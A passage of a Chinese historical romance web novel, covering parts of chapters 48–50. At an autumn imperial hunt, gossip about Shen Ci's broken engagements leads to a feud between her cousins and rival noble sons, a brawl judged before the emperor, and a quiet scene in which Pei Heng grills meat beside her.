谁知这话刚说出来,眼前三人就朝她看了过来,沈瓷顿时有些尴尬,白皙的脸上飘上了两朵红晕,“我…我就是这么随口一问。” “为了保证皇亲国戚和女眷们的安全,这些熊啊老虎啊之类的动物都是会提前清场的。”楚映梦笑着和沈瓷解释,而后又加了一句,“若当真有这样的情况发生,自然是猎到老虎熊的获胜。” 老虎和熊跟普通的猎物并不一样,但凡有眼睛的都能够知道怎么判断。 许多人都知晓,但沈瓷并不在金陵长大,先前也没有来参加过秋猎,自然是不懂的。 楚映梦等人不觉得有什么,耐心的和她解释着。 “不过我记得这样的情况从前也是有发生过的,还和姑父有关呢。”楚映梦告诉沈瓷许多年以前也是一样的情况,但那时候却有一只熊跑进了猎场。 那只熊受了伤变得暴躁易怒,伤了好几个人,最终是沈毅联合了几人将那头熊制服,那只熊倒下的时候瞧着有一座小山高。 “我也听说过这件事。” 这是裴姝的声音。 几人见沈瓷一脸的茫然,纷纷有些不可置信,“阿瓷,你不知道?” 沈瓷摇了摇头,“爹爹没有提过。” 他爹之前在家里,只关心阿娘好不好,她好不好。阿娘喜欢什么,最喜欢和她说的事儿也是遇上阿娘之后的… 其他的事情当真不怎么提。 “这也是我娘告诉我的,那时候姑父受了封赏,真真是风光无限,我还听娘说有不少人想要将女儿嫁给姑父,可是姑父一个都不答应。” “后来谁都没有想到,姑父和姑母在一块儿了。” 那些陈年往事,现在已经很少有人提及,若非沈瓷今日问起这些,就连她也不会知道还有这么一段往事。 自从那年之后,猎场的巡逻又严密了许多,虽然当初因为沈毅的英勇避免了伤亡,可出了这样的纰漏,兵部有不可推卸的责任,陛下会因为沈毅的临危不惧而嘉奖,却不会因为他的英勇而忘记旁人的错。 所以这样的事情根本就不会发生。 沈瓷默默的点了头,她虽有些羞赧,但是在表姐面前倒也没有太大反应,可这样的情况还是被楚映梦看了个正着,她见沈瓷反应有趣,其实心中还挺高兴。 但谁也舍不得拿这事儿去开沈瓷玩笑,说了几句话就将这话题揭过,这时候有猎物送了回来,楚思怡便说要去看看是不是季小将军送回来的。 楚映梦也很想知道,几人就一块儿去了,谁知走到一半,竟在一顶帐篷后,听见了不少人窃窃私语,“听说那姓沈的孤女这一回又被退婚了?” “找了个寒门出生的竟还被退婚,可见这沈姑娘许是有什么问题。” 沈瓷和表姐表妹走在一处,无意间听见了这话,她足足愣了好一会儿,才反应过来这姓沈的孤女就是她。 其实沈瓷一直都知道她和韩家的这件事会被人提及,但没想到这一天来的那么快,而且还是在被自己亲耳听见。 “上一回退亲,都说是成安伯府的缘故,可好端端的被退亲两次,怎么瞧都不像…” “也许是这女方的原因呢?不然怎么又被退亲?” “想来也是如此。” 谈话还在继续,沈瓷脸上并没有太多的表情,倒是楚思怡根本忍不住,直接就冲了上去,“你们嘴里不干不净的说什么?” 被撞破的几人脸色变得青一阵白一阵的,俨然也没想到背后说人是非还被当事人听了个正着,但这事儿如何能够承认? 甚至还开始倒打一耙,“你居然偷听我们说话?” “谁偷听你们说话,你们叽叽喳喳的比一群鸭子还厉害,我想不听到都难。”楚思怡说的话一点都不好听,一群官家小姐什么时候被人这般指着鼻子骂过。 一个个气呼呼的指着楚思怡,“你这话是什么意思?” “嫌弃你们话多的意思 ,难道听不懂?“楚思怡护短的很,看着这几个人更是气恼不已,她认出了人群里还有个熟人,一下子就想明白原委,指着那人问,“是不是你在这里唯恐天下不乱的说我表姐坏话?” 那人不是别人,正是和成安伯府定亲的李三姑娘,如今二人已经完婚,她也成了成安伯府的二少夫人。 事情的确是李少夫人挑唆,只是众目睽睽之下这般被人指着鼻子骂,如何能够忍? 她的脸色变得难看极了,强装镇定,“楚三姑娘,你这是血口喷人。” “还不都是和你们学的,你们什么都不知道就在说我表姐的是非,难道不是血口喷人?”楚思怡看着她们几个忍不住明嘲暗讽起来,“你们说三道四就是合理猜测,我说这话就是血口喷人?多大脸啊?” 沈瓷压根没想到表妹一个人就能将所有人说的哑口无言,看着面前几人想反驳又不知怎么反驳的模样,她有些想笑,见人吃瘪的确是很令人欣慰的一件事,可沈瓷并不能让事情再这么发展下去,她上前一步拉住了楚思怡,对着她摇了摇头。 众人都很尴尬,并不愿在沈瓷的面前出丑,尤其是李三,自从知晓丈夫从前和沈瓷有婚约,她就一直心中不悦,何况先前丈夫在宴会上见着沈瓷那魂不守舍的模样,至今都是她心里的一根刺。 事情僵持到这个地步,无论说什么都不会好,这些姑娘们也多是存了要讨好李三的心思,这才各种贬低沈瓷,谁知事情竟然会败露。 “都是误会。”李三如今成了成安伯府的二少夫人,做事自然不能凭着自己的喜好,总要维护夫家掩面,这事情若是闹出去也不好看。 她想要息事宁人,偏偏楚映梦和楚思怡根本不乐意,“误会,这里头有什么误会?你们胡乱揣测旁人被发现了就是误会?” 楚家姐妹软硬不吃,便是比家世背景在场也没几个人能比得过,何况这边还有个裴姝在,没人想要惹上永宁侯府。 于是李三便看向了沈瓷,希望能够从沈瓷这里下手,“沈姑娘,今日的事情都是误会。” 但沈瓷如何会顺着她们的意思? 她明明知晓表姐和思怡都是为了保护她,若这个时候唱反调,岂不是寒了姐妹们的心? “不知我们误会了什么?”沈瓷的声音很平静,可这会儿没有一个人是平静的。 她们暗自咬牙,恼楚家姐妹多管闲事,又恨沈瓷不知进退。 楚思怡要求她们道歉,几人看向了李三,李三没法子对着她们微微颔首,她们只能不情不愿的道歉。 沈瓷也没有非要揪着不放,虽然她们的道歉没有什么诚意,她也没有半点在乎。 倒是裴姝,将这些人记得清清楚楚的,想要寻个机会偷偷的告诉兄长。 只是裴姝没想到,她还没来得及告诉哥哥,裴珩就已经知晓。 长鸣早就知晓自家主子的心意,身为一个合格的侍卫,自然要为主子分忧解劳,裴珩并不乐意听见旁人对沈瓷的议论,虽说事情已经过去,但他到底不悦,只想着为她出口气。 那些姑娘们的父兄都在朝为官,虽不全是位高权重的…可裴珩如今官职不限,也做不得什么,但裴世子也不全是没有法子的。 他让人将这些事儿透露给楚景澄。 楚景澄便来寻楚修筠和裴珩。 “可真是闲得慌。”楚修筠脸色不善,楚景澄也是气恼不已,皱着眉头开始思索要怎么办,就在他想着要不要将人套麻袋打一顿的时候,裴珩适时的阻止了他的行为。 “猎场的比试已经开始,这一回还有不少人参加。”裴珩提点了一二,楚景澄没想明白,楚修筠已经反应过来,“走,我们去找季衍。” 这一回有不少人参加狩猎比试,那些姑娘们也有兄长,恰好都是低头不见抬头见的。 楚修筠自己猎不到什么猎物,但是他的未来妹夫可以! 兄弟二人急匆匆去寻了季衍。 季少将军原本就会在这一次的狩猎上全力以赴,得知未来大舅哥的嘱托,立刻就点了点头,“我知道了。” 季衍来参加这些,原本就是不大公平的一件事。 但季少将军想要头名的赏赐,如今知晓未婚妻和人生了嫌隙,也不管是什么事,只当是旁人冒犯了楚映梦。 他原本还想给旁人留些脸面,这会儿压根就不乐意。 “二哥放心,一只兔子都不留给他。” 季衍说到做到,问清楚究竟是那些人候,当真一只兔子都不给人留。 季少将军是当之无愧的魁首,陛下赐下的奖赏,转手就被季衍送给了楚映梦,皇家赏赐本就贵重,何况那还是独一无二的荣耀。 饶是楚映梦见惯了奇珍异宝,见着的时候也很是激动,在众人的调侃声中出去找了季衍。 几家欢喜几家愁,那些先前和楚映梦起冲突的姑娘们瞧见自家兄长的情况,都忍不住的头疼,季衍本就厉害,他们大多知晓季衍会夺魁,可也没有想到自家兄长会输的那么惨。 “哥,你怎么就输了?” “季衍也不知发什么疯,专门盯着我们几个的猎物,按照道理他早就可以赢了,偏偏就是不走……” 从兄长的只言片语当中,她们猜测到了原因,可这些事情原本就不好放到明面上来说,也只能生生的咽下哑巴亏。 楚映梦得知几人的下场,笑的愈发开心起来。 但楚映梦却疑惑季衍怎么会知道她和旁人起了冲突,明明她什么都没说过,“你怎么知道的?” “是二哥告诉我的。”季衍干脆利落的卖人。 楚映梦就愈发的疑惑,她想找个机会去问一问二哥,季衍也趁机问起楚映梦究竟是怎么回事。 “你什么都不知道?” 季衍点头,“二哥只说你和旁人起了冲突,让我教训教训人。” 他又不能将人给打一顿,当然要找别的法子去教训,楚映梦听到这里有些奇怪的看向季衍,“你什么都不知道,还就这么去教训人了?” “难道,就不怕是我做错了?说不准是我找人麻烦呢。” “你不是这样的人。”季衍不假思索的开口,“便是你故意找人麻烦,也一定是旁人的错。” 这话说的好没道理,但楚映梦却不得不承认,自己当真是有被安慰到。 谁不想要明明白白的偏爱和信任? 楚映梦看着季衍,解释起了事情的缘由,季衍听得清楚,皱了皱眉头,“真是吃饱了没事干。” 做什么天天盯着旁人的事? 话虽如此,但他们都知道这样的事情也没有法子。 “阿瓷的婚事本就麻烦,出了这样的事情只怕更难了。”楚映梦忍不住的叹气。 季衍看了眼楚映梦,像是想到了什么,却又不知道该不该开口,楚映梦看他这奇奇怪怪的模样,有些疑惑。 “你想说什么就说。” “我说了你不能生气。”季衍还知道给自己寻一道护身符,在楚映梦再三保证自己不会生气之后才问出自己心中的疑问,“唔…就是…” 既然要定亲,为何没想过自家… 楚映梦瞪大眼睛,季衍下意识的解释,“我乱说的,你别生气。” 楚映梦无奈的看了他一眼,“我在你心里就这么凶悍?” 季衍没说话,楚映梦念在方才的事儿上也没和他计较,只是稍稍解释了一句,“大哥和二哥都当阿瓷是妹妹。” 楚修筠和楚景澄根本没有这样的心思,也没人会往这上头去想,还 是楚映梦见韩嵩和沈瓷退亲后,想起了阿娘曾经想她和表哥定亲,心里多了点歪念头,去找了母亲试探。 母亲见她如此才透露一二。 原来母亲也不是没想过,只是她瞧了他们几人相处,明白谁都没有这样的心思。 索性提也没提,省的大家尴尬。 第49章 第49章胡说八道,我只当阿瓷是妹…… 季衍生怕自己说的话会惹楚映梦生气,在那之后一直小心翼翼的观察着未婚妻的脸色,见她并无怪罪之色,才松了一口气。 二人在猎场散着步,谈话间说起了沈瓷的婚事,也是诸多头疼。 “其实大家都清楚,阿瓷的婚事很难…但这和她又有什么关系?”楚映梦心疼沈瓷被退婚,第一次是成安伯府背信弃义,2回 更是那韩嵩的缘故。 并非沈瓷的错,可所有的流言蜚语却是冲着她来的。 季衍唯有一个劲的安慰她,“韩嵩日后就要和孟家绑在一处,他耳根子软,还有那么一家亲戚,日后如何谁也不清楚。” “韩嵩如今式微,孟家对他有恩,他当然记得,他朝若韩嵩得势,这昔日的恩情也不知是福是祸。” “日后一定过得不好。” 何况谁又能保证孟家不会挟恩图报? 楚映梦气哼哼的点头。 二人正说着话,楚映梦的丫鬟就急匆匆的跑了过来,人还没站稳就先开了口,“二姑娘,季小将军,出事了,二公子和人打起来了。” “什么?” “怎么回事,说清楚。” 二人一同开了口,丫鬟也不含糊,将自己知道的事情全说了,“是大公子的小厮过来报信的,说二公子和人打了起来,具体是什么原因奴婢也不清楚,是小厮过来报的信。” 楚映梦和季衍听得一脸疑惑,但两人也来不及多问,对视一眼就往回走。 “走,去看看。” 路上楚映梦又问起沈瓷她们,得知三人在裴氏跟前,楚映梦就让丫鬟去盯着,莫要让人去惊扰母亲。 二人匆匆的赶了过去,才知事情到底有多么的混乱,楚景澄和楚修筠一块儿跟人打了起来,乌压压的一群人,楚映梦不太认识这些人,但季衍已经认出就是今日的手下败将。 虽不知他们究竟是怎么打起来的,但季衍也不能让自家大舅哥吃亏,“张兄,李兄,这好端端的是怎么了?” 季衍一边说着话,一边去劝架,而后趁机将人绊倒,那被称为张兄李兄的,原本就打红了眼,看见季衍这个罪魁祸首更是烦躁,一把将人推开,“滚开。” “我好端端的来帮你,你怎么还不领情?”季衍无端端的被人迁怒,恼的不得了,顺势也加入了战局,嘴里说着劝解的话,但手上一点也不含糊。 拳拳到肉,直把楚映梦看的目瞪口呆。 楚修筠和楚景澄原本就没怎么吃亏,只不过对方人多势众,双拳难敌四手,等到季衍过来直接将这事儿给搅混,季小将军常年混迹军营,哪里是金陵这群养尊处优的公子哥可以比的? 楚映梦原本是想劝架的,但瞧见局势一边倒,就开始放风。 季小将军打人不打脸,专门往看不见的地方打去,人一多就乱,好几个人都吃了暗亏,什么借力打力,隔山打牛都被季小将军运用的炉火纯青。 真真是怎么阴怎么来。 这里的动静到底闹得大了点,眼看来了人,楚映梦立刻咳嗽起来,几人多有默契,立刻反应过来,停下了手中动作,生生的挨了一拳。 “嘶——”楚景澄只觉得脸颊生疼。 季衍本也想主动的挨揍,但未婚妻还在,他思索再三还是躲开了,这脸上若是挨一拳,没有七八日根本好不了,何况他要是输了,传到自家老爹的耳朵里,估摸着也要挨一顿打,实在不划算。 一群人打的正上头,忽然听见一声怒吼,“住手,你们几个在干什么?” “光天化日之下竟然敢聚众斗殴?” “还有没有王法!” 一群人打红了眼,即便听到了动静也没有立刻的停下,最终被金陵的城防军分开,全部都带到了陛下的面前。 他们其实有想过聚众斗殴会惹出事端,但没有想过事情会闹的那么大,直接闹到了陛下面前。 楚修筠兄弟俩和季衍站在一处,还有一群人站在对面,季衍看见楚景澄的脸,只觉得惨不忍睹,怎么就成了这样? “可还好?” “还成。”楚景澄嘴硬道,“不过就是被打了几下,死不了。” 两人交头接耳的。 皇帝其实也懒得过问小辈们的事情,但这事儿直接被捅到他的面前,他想不管都不成,好在今日秋猎他的心情还不错,便也没在意底下的人这么不会办事,饶有兴趣的问道,“说说,究竟是怎么一回事?” “陛下,是楚景澄,他忽然发了疯一样的过来打我们。”以张公子为首的一群人恶人先告状,将这一切都推到楚景澄的身上。 皇帝就去问楚景澄,“这是怎么一回事?” “回陛下,这几人交头接耳的说小生没用,比不得表哥才学过人,小生气不过这才跟他们打了起来。”楚景澄随口胡诌。 毕竟这样的话也不算是借口,当真也有不少这样的传言。 皇帝听见是这么个原因,心中有些恼怒,“你们几个还好意思是或景澄不如裴珩,你们几个自己想想可比得上比不上?” 明明年纪相仿,都是世家子弟,可所有人加起来都比不上裴珩。 这会儿居然还好意思五十步笑百步。 “陛下,楚景澄信口雌黄!”张公子一行人没想到楚景澄居然敢在御前颠倒黑白,他们想要开口反驳,但皇帝却半句话也不想和他们几人多言。 毕竟比起他们几个,显然是楚修筠兄弟俩更能入眼一些,好歹面前这两个还是正正经经的举子。 皇帝也想要多几个和裴珩一般年轻有为的世家子弟,只可惜啊,除了裴珩,勉勉强强也就季衍能看一些,但季衍今日却… “你又是怎么回事?他们嘲笑经常不如自家表哥,难不成也嘲笑你了?”皇帝没好气的瞪着季衍,可任谁都能够听得出来,陛下并未生气。 “回陛下的话,臣和未婚妻一块儿散步,谁知竟然听见了这桩事,臣自然是要去一看究竟的,这秋猎热热闹闹的,大家和和气气才是,臣当然要去劝架,没曾想他们打红了眼竟然连臣也一起打。”季衍说的好生委屈。 这些话皇帝听都懒得听,季衍有多少的本事,他清清楚楚。 他们几个加起来都动不了季衍一个。 张公子一行人明明知道楚景澄在胡说八道,季衍在浑水摸鱼,他们想要反驳,又不敢触怒龙颜,咬牙切齿的盯着几人。 “楚家二子已是年轻有为,虽不及表兄,但也是年纪轻轻中了举人,倒是你们几个。”皇帝冷冷的瞥了几人一眼,“文不成,武不就,竟还学人打架?” 皇帝此话一出,所有人都跪在地上瑟瑟发抖,“请陛下恕罪。” 不仅他们几人害怕,几人的父亲也是如此,得知此事后立刻赶过来请罪,皇帝多看一眼都觉得眼睛疼,随意的挥了挥手,“各自把人给领回去,好好的管教。” 这些个公子哥全都被领了回去,只留下了季衍三人。 楚修筠兄弟俩心中忐忑,季衍倒是想说话,可皇帝没给他这个机会,让身边的大监将裴珩找来。 这下子连季衍都不太明白是怎么一回事,唯有安静的等着。 裴珩匆匆赶来,看也不看身边的三人,即刻行了礼,“参见陛下。” “梦洲,你可知晓今日发生了何事?”皇帝戏谑开口,喊了裴珩的字。 裴珩匆匆赶来,虽已知晓是发生了何事,但是在陛下面前他自然什么都不能提,佯装疑惑的看了看两个表弟,又看了看未来的表妹夫。 斟酌道:“不知他们可是犯了什么错?” 皇帝将方才发生的事情当成笑 话一般的告诉裴珩,裴珩也很配合的转换表情,最后替表弟们求情,“陛下,修筠和景澄其实一直勤勉,他们今岁科举虽然榜上无名却也并不算太糟糕。” 裴珩将二人的科举名次说了出来,皇帝原本不过是想要看看裴珩如何应对,如今听裴珩这么说倒也是上了心。 “哦?竟有这回事?” 皇帝日理万机,即便殿试能记住的人也唯有一甲前三,其余的都是查无此人,更不会去了解两个举人的春闱名次,若非裴珩提起他压根不会放在心上。 此番心血来潮的考了二人策论,楚修筠和楚景澄本就勤勉,加之又有裴珩一直督促,二人对答如流,皇帝越听越高兴。 今日这件事情就轻飘飘的揭过。 甚至还随口对二人说,希望再过三载,能在殿试上见着二人。 这对楚修筠和楚景澄而言无疑是最好的鼓励,二人忙跪下谢恩。 皇帝摆了摆手,让几人一同离去。 众人纷纷跪安告辞。 大监看着几人远去的背影,猜测着主子的心情,“楚家的这两个小辈倒是不差,就是性子急躁了些。” “年轻人,自然年轻气盛。”皇帝心情不差,方才听到裴珩的话,让大监将礼部侍郎找来,说要看一看这一回科举答卷。 他倒是想要看看,楚家这两个后生在春闱的时候答了什么。 大监立刻去办。 裴珩将人领走后,楚景澄才忍不住的次牙咧嘴,说自己脸疼,“大哥,我这脸会不会肿上好几日?” “等会儿回去让人给你找些冰敷一敷,应该很快就好。”楚修筠也浑身疼,方才那一场混战,谁的没落得好,非要说谁这会儿情况最好,自然是季衍。 但他们仨是一伙的,谁也不会这个时候起内讧。 “先前到底是怎么回事?”裴珩明知故问。 “还不是那几个输不起的,嘴里不干不净的说些乌七八糟的话。”楚景澄气恼不已,原本也不想提,但这件事情都已经闹到了御前,这会儿再隐瞒也没有多大意思。 “他们几个说,阿瓷和韩家退亲,是因为和我有了男女之情…真真是胡说八道,我只当阿瓷是妹妹!”这话楚景澄说出来都觉得恶寒不已,怨不得他当时不过听到了一句就忍不住的冲上去将人给打了一顿。 实则更难听的话还有。 但楚景澄并不想说。 楚修筠也是一样。 这会儿说出来也不过是希望裴珩和季衍可以帮忙遮掩一二,“这件事,我和大哥并不想让阿瓷知道。” 这也不是什么很光彩的事情。 他们并不想让沈瓷被人非议,也不想沈瓷见到他们尴尬。 季衍一直没有说话,二人说起这事,他也承诺不会乱说什么。 只不过他的心里到底是有一点儿不大自然,谁让他才和未婚妻说起这事儿,傍晚楚景澄就和人齐了冲突。 季衍看见那些人,心里倒也有了些想法,“也不知是不是我多心,我总觉得这件事和早晨的狩猎有所关联…” 楚修筠和楚景澄的脸色变得凝重起来。 裴珩更是干脆的说这件事情他会去调查清楚。 楚家兄弟早已经习惯事事都站在表哥的身后,闻言也没觉得有什么问题,甚至还催促表哥快些去办,季衍看着裴珩远去的背影,心里头毛毛躁躁的。 忍不住的问两个大舅哥,“裴世子是这么热心的人吗?” “当然不是。”楚景澄毫不犹豫的反驳,从小到大他从来都没觉得表哥会和热心这两个字扯上关系。 “那…裴世子今日怎么那么热心?”季衍摸了摸自己的下巴,总觉得自己像是发现了什么了不得的大事。 他本以为自己将这些说出来之后,兄弟二人会附和他,谁知楚景澄用一种一言难尽的眼神看着他,“表哥当然是为了帮忙。” “都是兄弟姐妹,他当然会帮忙。” “可…沈姑娘似乎和裴世子并没有什么关系?” “你和阿瓷不也没什么关系?”楚景澄半点没觉得这有什么问题,甚至还能拿季衍列举。 季衍想说不一样,因为沈姑娘是映梦的表妹,他是为了让映梦放心。 “阿瓷也是我们的表妹,表哥看在我们的面子上也会帮忙。”楚景澄有自己的一套逻辑,很快就将季衍给带进沟里去,“就跟你一样,大家都是亲戚不是。” 季衍一想也觉得是这么一回事,都是亲戚,自然要互相帮助,他若不是因为沈瓷是楚映梦的表妹,也不会管闲事。 季小将军很快将自己说服,那点儿微不足道的疑惑,全部都被季衍给抛诸脑后。 实则这件事情要调查起来并不麻烦,这猎场上的事情各凭本事,虽然季衍的确是损了些,但还是让那及家人脸上无光,几人越想越气,就要去找季衍麻烦。 但季衍他们根本就打不过。 而且几人也很疑惑为何季衍要针对他们,无意间得知是楚家兄弟出的主意。 一时间拔出萝卜带出泥,顺藤摸瓜的查探,知晓了都是自家女眷惹的祸,这祸事的源头却是沈家的那个孤女。 从前和成安伯府退亲的那个。 金陵最不缺的就是新鲜事,这些虽然是女眷里头流传出来的,可男子八卦起来也不予多让,并且想象力还更加的丰富。 不知是谁说起沈瓷两回退亲,也许是和忠毅伯府有关,也许楚家当初把人接回来就是存了要将人当童养媳的心思。 这些话说的着实难听,也不怪楚景澄暴跳如雷。 楚景澄在陛下面前说起的并非这个原因,将责任全部都揽到自己的身上,张公子那群人自然也不敢胡言乱语,他们可没胆子说陛下的不是。 只能生生的咽下这个哑巴亏,又因为陛下当中夸赞了楚家兄弟。 一时间忠毅伯府风光无限,所有的议论全部都跑到了两兄弟的身上,再也没有人去注意沈瓷有没有被人退亲。 一场风波总算是过去。 但裴珩并不乐意事情轻描淡写的揭过,暗中使了不少的绊子,虽不至于让几家伤筋动骨,倒也没让他们那么舒服。 晚上有热闹的羹火晚会,原本载歌载舞的日子,但因为楚景澄脸疼,他不愿意出现在人前,几人便偷偷的开了小灶。 今日猎场的猎物有大半都是季衍猎到的,他便动用了特权去挑了些好的,他们几人快快乐乐的自己烤着吃。 人还是那么些人,大家围坐在一块儿,说起今日的事情。 楚景澄时不时的摸了摸自己的脸,咬牙切齿。 “二哥你放心,他们比你可惨多了,我看到季衍打了他们好几下。”楚映梦高高兴兴的和兄长说起这些,楚景澄一听眼睛都亮了起来。 “真的?” “当然是真的,我亲眼看见的。” “那感情好,你跟我说说,季衍是怎么打他们的?”楚景澄显然对这件事情非常的好奇。 楚映梦忍不住的抓了抓头发,开始和哥哥建议,“要不让季衍自己跟你说?” 楚修筠觉得这是个很好的主意,眼巴巴的看向季衍。 季衍:“……” 季小将军从来都没有想过有朝一日自己打完了架,还要复述一遍他到底是怎么打的。 明明这样的事情听着颇有些莫名其妙,但季衍还是忍着羞耻,复述了一遍。 真真是越活越回去。 楚思怡爱凑热闹,听见这话后立刻就跑了过去,让季衍重现一下方才是怎么教训人的。 季衍求助的看向楚映梦。 楚映梦笑的乐不可支,季衍看到她这般,认命的站起来开始花拳绣腿的舞着,一时间所有人都凑了过去。 这一回猎到的都是一些野味,他们不是头一回烤肉吃,所有的东西都一应俱全。 沈瓷见他们都忙着在一处说话,便自觉的开始烤肉,她的手艺其实也不怎么样,不过是看着火候将肉翻转,省的烤糊了。 裴珩的目光全部落在沈瓷的身上,自然注意到她的一举一动,见没有人帮她便走了过来。 沈瓷诧异的看了他一眼,“裴世子?” “嗯。”裴珩语气冷冷淡淡的,顺手抓了一把香料撒上去。 沈瓷看着裴珩犹豫着要不要道谢,心里纠结极了,担心提及不好,又担心不提及也不好。 整个人愁的不行。 “肉要烤糊了。”裴珩的声音有些淡,沈瓷反应过来后连忙将肉串翻了面。 她有些为难的看 着面前的肉,更是纠结。 裴珩看的清清楚楚,在心中微不可闻的叹了一口气。 “沈姑娘心里可有为难的事?”裴珩冷静问起,沈瓷想说没有,可又觉得太假,犹豫再三终是说出了那句道谢。 裴珩没想到沈瓷纠结的竟然是这件事,他还以为是因为退亲一事。 得知沈瓷并非因为韩嵩而闷闷不乐,裴珩的心情倒是好了不少,语气也软了些,“不是什么大事,不必放在心上。” 裴珩说完见沈瓷沉默着,又开始担心自己的语气会不会太过生硬,他本不是这么纠结犹豫的人,可面对沈瓷的时候,却总是破例,下意识的给自己描补,“平安就好。” 没有什么比平平安安更重要的。 第50章 第50章多了一个姊妹,你们日后要好…… 骤然听见这样的话,沈瓷其实是有些愣神的,裴珩虽然说的随意,可话里明晃晃的都是关心之语,沈瓷并非蠢人,也并非不识好歹的人。 可即使听得明白,心中多少还是有一些惊讶。 像是没有料到。 沈瓷想自己应该说些什么,但这会儿她却觉得无论说什么都不合适。 倒不如什么都不提。 气氛变得有一些尴尬,沈瓷不说话,裴珩也不知要说什么,他不想太刻意,也不想错过今日的机会。 只是心中有种种顾虑,担心沈瓷会察觉,若察觉之后她也不知会不会避开他。 到头来却什么都没有说,只是沉默的陪在她的身边。 二人皆沉默,不知过了多久,裴珩出声提醒道,“肉烤好了。” 沈瓷低下头看了一眼连忙将手中的肉串装好放在一边,招呼着众人吃烤肉。 远处的笑闹声不断,季衍已经完全忘记自己还是个少将军,那般羞耻的事情说了一回两回之后,就没有什么羞耻之感。 甚至还越说越流利起来。 要单单只是季衍一个人这般胡闹也许胡闹不了多久,偏偏其余几个人非常的捧场,对着他各种夸赞,季小将军就在这些夸赞声中忘记了自己是谁。 一时间笑闹声根本不断。 他们听见沈瓷的话全部都围了过来,看着盘子里的肉串也不挑剔是什么肉,拿起来就开始吃。 “阿瓷,这是你烤的吗?” “手艺不错啊。” “就是,比二哥上回烤的要好吃很多,二哥上回烤的肉都是糊的。” 各种嘈杂的声音传来热热闹闹的,火堆边上围满了人,他们几个显然是意犹未尽,夸了沈瓷几句之后又开始问起张公子一行人。 沈瓷看着空空如也的盘子,又看了一眼站在一旁的裴珩。 他依旧没什么反应,既没有加入几人的热闹,也没有独自站在一旁,沈瓷想了想便将一串烤好的肉串递了过去。 这不算特别突兀的举动,裴珩虽有些惊讶,可面上没有丝毫的表露,极其自然的接过,冷静的道谢,“多谢。” 裴珩看着手里的烤肉,浅浅的掀了掀眼皮,沈姑娘这是终于将他放在眼里了吗?能看见他这个人了? 分烤肉的时候还能记挂着他了吗? 若是如此,还真是可喜可贺。 “他们几个像是一时半会儿不会停下。”裴珩看了一眼,笃定的下了结论。 沈瓷没说话,只是顺着裴珩的话望了一眼。 之后她就看见裴珩自然而然的开始帮忙,无论是翻转肉串,还是抓撒香料,他都做的极其坦荡和自然,倒是沈瓷看的目瞪口呆。 毕竟…她先前没有想过裴珩居然会做这样的事情。 同她以为的并不相符。 “若是你一个人恐忙不过来。”裴珩语气平淡的开口。 见沈瓷愣住,又问了一句,“发什么呆?” 他问的太过于自然,倒是显得沈瓷有些大惊小怪,她缓缓的摇头,就这么不知不觉的和裴珩一起烤肉,实在是令人惊讶。 他们彼此之间的交流仅限于烤肉,说的最多的无非就是香料和烤肉。 有一些奇怪,可仔细想一想却也没有很奇怪,都是兄弟姐妹…先前不也和大表哥二表哥一起烤肉吗? 如今不过换了一个人而已… 裴珩虽没有和沈瓷说上什么话,但此刻的独处对他而言也是一件不错的事情,碍于身份,其实有很多的事情裴珩是不能问的。 即便他一直都很想知道。 但裴珩如今却觉得,这样也很好。 那天的烤肉楚景澄吃了很多,因为他可吃完了烤肉之后一回头发现可在烤肉的人,楚景澄瞪大眼睛差点儿以为自己看错了。 但当他看清裴珩的模样之后,一时间就连脸上的伤口都不疼了,咋咋呼呼的跑了过来,“表哥,我今儿个这么荣幸吗?能吃上你亲手烤的肉?” “嗯。”裴珩淡淡回应,顺手递过去一串烤肉。 楚景澄没有犹豫的接过,见表哥当真在纡尊降贵的烤肉之后,心里别提有多痛快,“我还要!” 沈瓷听见这话,将手中的烤肉递了过去,但楚景澄却不要,非要裴珩给他烤。 裴珩:“…不都是烤肉吗?” 有什么不一样的? “何况,我手艺不如沈姑娘。” 这肉究竟熟没熟他都不太清楚。 “当然不一样,这可是表哥你亲自烤的。”楚景澄这会儿哪里管手艺不手艺的?不过是想吃上裴珩亲自烤的肉罢了。 裴珩显然也明白楚景澄的心里到底在想什么。 他心里多少有些无奈,早知道表弟不太聪明,可实在没有想到他竟然还有这样的心思。 裴珩又能如何? 只能慢吞吞的开始烤肉。 最后裴珩烤的那些肉全部都进了楚景澄的肚子。 楚景澄并不知裴珩是不愿在沈瓷面前同他一般见识,他看见这样的裴珩,忍不住开始猜测起来,“表哥,你是看我今日太惨,特意安慰我的吗?” 裴珩:“……” 他有时候看着楚景澄当真是羡慕极了,可以这么简简单单的活着。 裴珩无奈的笑了起来,顺着楚景澄的话点了点头,“你猜的不错。” 他的确是想要安慰人,只不过是另有其人罢了。 这些心思裴珩并不曾和外人道,那天楚景澄吃了许多的烤肉,结果一不小心吃得太多无法消化,足足难受了好几日。 偏偏他嘴硬的很,一点也不想承认,只是回到府上的时候偷偷请了大夫过来配了些山楂茶。 楚家兄弟在猎场得了陛下赏识这件事并非秘密,他们起冲突的原因真真假假,但楚修筠和楚景澄都知道这梁子算是结下了。 二人回到府上之后负荆请罪,在祖父祖母和父母面前并无任何隐瞒。 楚长山这才知晓里头还夹杂了沈瓷的事情,沈瓷的婚事一波三折,最初定下的亲事早早的就退了,成安伯府的林书易如今也已经成亲。 这2回 也是一言难尽。 分明不是沈瓷的错,可往后再说亲恐怕难了,这两件事会被人反复提及。 “这个什么韩家,当我们家的姑娘是什么?”楚长山冷冷道,这些事他先前并不知,妻子也不曾提及,等他回到金陵亲事也已经作罢,更没有人在他面前提起,楚长山也没多问,谁知竟还有这些弯弯绕绕。 “父亲放心,我和兰清一定会为阿瓷找一户好人家。”楚恒立刻开口接话,且他也已经有了人选。 只是沈瓷刚刚退亲不久,这话他也不好提。 何况先前出的这些事让他们做长辈的也心悸有余,这新的人选总要多番考察才是。 楚长山看了楚恒许久,微微颔首。 * 秋猎过后金陵又多了不少的宴会,秋天赏菊,冬天赏梅,赏雪。 裴珩也有不少的机会可以见到沈瓷,期间他也找了不少的借口送沈瓷首饰,从发簪到璎珞,从玉镯到手串,但凡能买到的首饰裴珩都送过。 有的是牡丹,有的梅花。 裴珩心中有了更明确的认知,不仅不喜欢牡丹,还不喜欢俗的。 日子倒 是过得还算愉快,但裴珩很忙,他不仅仅忙着了解沈瓷,还忙着做出一番成绩想法子升官,母亲一直不曾放弃让他定亲,裴珩从前对定亲一事没有所谓,但如今他有了其他的心思。 这心思一旦生出,就很难说服自己妥协。 他也曾想过缓兵之计,可定亲再退亲这样的损事,裴珩当真做不出。 裴世子思来想去也唯有升官一条路,才能够助他达成目的。 只是除夕将至,裴世子觉得,他需要让沈姑娘更注意到他才行。 这上元节的花灯,总要光明正大的送出。 